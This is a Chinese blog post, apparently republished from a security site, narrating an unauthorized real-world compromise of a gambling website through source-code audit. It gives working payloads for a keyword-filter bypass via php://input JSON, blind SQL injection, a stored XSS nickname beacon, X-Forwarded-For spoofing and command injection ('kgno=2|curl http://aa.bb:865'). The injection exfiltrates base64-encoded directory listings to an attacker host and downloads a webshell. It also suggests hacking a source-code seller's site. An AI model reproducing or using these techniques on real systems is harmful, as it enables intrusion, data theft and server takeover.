实战审计某BC站源码,并拿下权限
2020-02-19 17:14:50 Author: www.secpulse.com(查看原文) 阅读量:228 收藏

我们废话不多说,直接看过程吧!

源码的获取来源我就不透露了,找下载这种源码的站,想办法把卖源码的站撸了,然后免费下载就完事了

目标站点使用的源码就是下面这套,名字就不透露了,主要分享审计思路和渗透思路

先来看看目录结构

Web前台默认解析的是main目录

Admin后台管理解析的是admin目录

然而一般bc站点都是前后台分离,也就是前台1.1.1.1的服务器,后台2.2.2.2的服务器

然后使用的是同台数据库服务器

那我们先看main目录

Index.php文件为入口文件

pc端就跳到pcindex.php,继续跟进

看到包含了两个文件,跟进看看

Function.php

Conn.php

可以看到,function.php看名字就可以看出来,函数库

Conn.php文件存放着各种过滤方法

我们一个一个看

下面一整页,是conn.php提取出来的过滤函数

我们继续看,我会一个一个讲解

先看第一张图

PHP基础的同学可以看到

GET,POST,COOKIE,REQUEST的全部获取方法都调用了checksqlkey,我们跟进,

而当我们一开始认为是过滤的时候,其实是错的,这里走的拦截

过滤可以绕,拦截很头疼

可以看到checksqlkey只要匹配到了任意一个值,就会返回true

而一开始的全局过滤

if(checkSqlKey($value)) exit("xxxxxxaccess denied!");

只要是碰到规则,就退出程序,输出xxxxxaccess denied!

checksqlkey这个函数变态到什么程度,拿其中一个值script做举例

比如我们传递

Script             拦截

Scripts 拦截

Xscript 拦截这里可以看到,只要是出现了字眼,就给你干掉

然后继续看,假设你绕过了checksqlkey方法,他还调用了StopAttack方法,如下图

这里我就不分析了,大概原理跟前面分析的一样

这里就只是全局的一个获取而已。就自动调用了这些过滤,我们继续看pcindex.php还调用了啥

$referer=str_check($_GET['referer']);

找到str_check方法

 可以看到,继续调用拦截方法inject_check

然后在调用

那我们现在来梳理下思路

1、只要包含了conn.php文件的,就会自动调用全局过滤

checkSqlKey函数,StopAttack函数,就是这两个函数

2、只要调用了str_check方法的,就一定是包含了conn.php方法,并且调用额外的函数

checkSqlKey函数,StopAttack函数,inject_check函数,htmldecode函数,这四个函数

这里可以说是无敌的了,你需要找另外的方法去绕过他才行,绕过的思路就是

1、不包含conn.php文件

2、包含了conn.php文件,通过key去传递值,绕过value的检测

简单的说就是我们传递aa=bb,那么全局过滤函数检查的是bb,而不去检查aa

那我们开始找文件,找可以绕过的

一路下来,这么多个文件,一个一个细看

发现了一处可以绕过的地方,使用php伪协议绕过

我们跟进文件查看

可以看到,这一处是包含了conn.php文件的,但是他有个可以绕过的办法就是

File_get_contents(“php://input”)

这个利用的是php的伪协议获取值

比如我们传递post内容aaaaaa,那么就是获取aaaaaa

而我们正常的post内容应该是aa=bb才对

那么这个点就可以绕过value的检测

我们来看下burp下的情况,这里修改下代码,输出$postData

可以看到没有被全局过滤方法给拦截到

继续看代码

需要将$postData方法给json解码,那么我们这里传递的肯定就是json格式的数据了

可以看到,获取到了解码后的值,并且没有被拦截。

有同学可能会问,这不是传递了value值了吗,我们输出下$_POST方法看看

可以看到$_POST认为我们传递的是整个参数{"script":"script"},值是空

所以这里就可以天然绕过了

我们继续看

看到sql语句那里,是拼接的,那么这里的注入肯定跑不了,别问,问就是全局过滤拦不住我们

可以看到$idint类型,$order_id是可控参数,那么我们看是怎么获取的

$attachArr= explode("_", $postDataArr['attach']);
$order_id= $attachArr[1];

那我们只需要传递attach并且通过_分割值即可,取第一位赋值给$order_id

再看if条件

$params['resultcode']==0
$params['resultcode'] =$postDataArr['resultcode'];

我们还需要传递个值resultcode=0即可

我们发送构造的请求

可以看到完整的sql语句

参数为{"resultcode":"0","attach":"1_2_3"}
修改payload
参数为{"resultcode":"0","attach":"1_2'_3"}

可以看到,mysql报错了

不过遗憾的是这里是盲注,不是显注

然后就是注管理员账号密码的过程。过程比较简单,就不写了

我们在来整理下审计和渗透思路

1、有管理员账号密码了

2、找到后台

3、Getshell

后台怎么找呢,后台不解析在同一台机器的,只能XSS

继续看源码去审计 

发现了个有趣的文件,B.php

这个文件审计的过程就不讲解了,大概的作用就是

会去实例化libindexaction下的类以及

corecontroller下的类

通过url来控制实例化哪个类哪个方法

比如

b.php?c=user&a=reg
就是调用UserAction.php->reg()

那么我们来看doreg()

内容比较长我就只贴出关键的代码

$nickname = Req::post('nickname');
$nickname = str_replace("http","", $nickname);
$nickname = str_replace("href","", $nickname);
if ($nickname == "" ||strlen($nickname) > 20) {
 return $this->result(1, "昵称错误,长度不超过20位!");
}

这里就是单纯的获取post参数nickname

然后将httphref字眼替换为空,这个好绕过

问题是长度只能是20以内,包括20

我们看一个正常的xss payload

<script src=1.js></script>

就我上面的payload,都没带地址,就超过20了,并且script在全局过滤方法checkSqlKey里出现了,可以用别的payload

<img src=x onerror=.......>

所以说这里,就别想着加载js文件,怎么都大于20个字符了

单单能把后台给打出来就不错了

再改改payload

<img src=//aa.bb>

我们看上面的payload

加载img标签,访问httphttpsaa.bb域名

我们只需要在aa.bb域名下默认解析index.php文件即可

然后在index.php文件里获取对方的ip port referer保存下来即可

但是这样不稳妥,因为管理员有点意识就会发现被人X了,看下图

会有大概这样的一个图标,于是继续找有没有更好的办法,没有就只能用这个了

然后找到了mobile.php

细心的同学可以看到,代码跟b.php一样的

但是这里,他调用的是mobile端的代码,我们来看看手机端的注册代码

可以看到比上面的b.php少了一行

if ($nickname =="" || strlen($nickname) > 20) {

  return $this->result(1, "昵称错误,长度不超过20位!");

}

这里可以看到没有限制字符的长度。那么舒服了,不限制长度,有各种方法能绕过他

后来尝试后发现出问题了,于是在数据库一看

Nickname的长度只能是50以内,包括50

一系列努力下,凑出了50个字符,能打cookie的代码

<svg/onload="newImage().src=`//aa.bb/?`+cookie">

结果发现双引号被转义了。导致代码出问题。

就老老实实的

<img src=//aa.bb style=display:none;>

img标签给隐藏下,增加下隐蔽性

最终,通过手机端注册,在昵称处打入xss的payload,然后想办法让管理员看到,触发即可

然后审计代码,将网站目录解析到admin,看后台代码

一个一个点的看,发现领取红包处,以及投注处可以让后台管理员看到

就去用前面的注入点,把红包的领取码注出来,然后领取红包后去投注

没过多久,目标后台便被打出来了

当我一访问后台地址,您的ip不允许访问

就想了想,代码是这样获取ip

那么我们伪造XFF头即可绕过限制

在我们的请求头里设置对方管理员的ip即可

X-Forwarded-For: 123.123.123.123

然后就绕过了限制,看到了后台登录口了

把账号密码一输,成功进入后台

那我们现在只差一步getshell

找了半天,没有文件上传,修改配置文件处,也没法闭合

继续审计,找到了个有趣的方法

这里执行system函数,并且我们能控制参数

那么这里命令执行跑不了,怎么样才能让我们的命令执行

这里我只贴出关键代码,太长了

post参数no不等于0,并且参数gametype不等于空即可

然后当gametype不等于if里的某项值即可到达我们可以操控的位置

即进入else分支

而我们的参数GameType调用了GetGameKindFromGameType方法,跟进查看

只需要随便挑个值即可,并且这个值,不等于if里的某项值

我这里就随便挑了个值gamehg28

当我们传递post请求参数为

No=1&GameType=gamehg28

就会进入if分支,从而执行代码,如下图

我们可以看到有两个参数可以控制$cmd的值

一个是$No,一个是$kgno

而这两个参数都是可以控制的,那我们控制最后一个参数,方便控制cmd语句

传递参数并输出$cmd来看看

可以看到输出的cmd语句

这里讲一下linux下的&&||

比如

echo 1 && echo 2

表示输出1成功后再输出2

echo 1 || echo 2

表示输出1失败才去输出2

可以看到上图,cd一个不存在的目录失败,就会输出2

那么有个问题就是这里的代码里的cmd命令是肯定可以成功执行

我们用&&让他继续执行我们的代码即可,但是源码里实体化编码了&符号

可以看到变成了&amp

那么有没有别的办法能执行我们的办法呢

这里说一下,一个|的作用

echo 1|echo 2

这里可以看到,输出了2,我们再看

说白了就是会执行我们后面传递的参数

那我们构造命令执行的payload,把webshell下载到目标机器上

no=1&gametype=gamehg28&action=open_gamelog&kgno=2|curlhttp://aa.bb:865

aa.bb的机器监听865端口即可收到请求

这里有同学会说写个一句话,>被实体化编码了

然后使用wget去下载文件,发现我们的文件被下载到cd的目录下了

cd /alidata/www/xxxx/caiji

那我们就得想办法看路径才行了

这里用curl来查看,因为system函数是无回显的

Curl http://aa.bb:865/`ls|base64`

服务器端监听865端口

可以看到收到的get请求为base64加密后的ls

我们解开看看即可 

然后就一直看路径,找到web根路径即可,然后用wget把文件下载到目录

即可getshell

总结:

1.常规渗透,无果

2.找目标源码,并下载回来审计

3.审计到一个注入漏洞以及一个XSS

4.利用注入,注出管理员账号密码,然后利用XSS打到后台

5.登录后台,利用命令执行漏洞,通过下载文件到方式成功拿到权限

本文作者:HACK_Learn

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/122876.html


文章来源: https://www.secpulse.com/archives/122876.html
如有侵权请联系:admin#unsafe.sh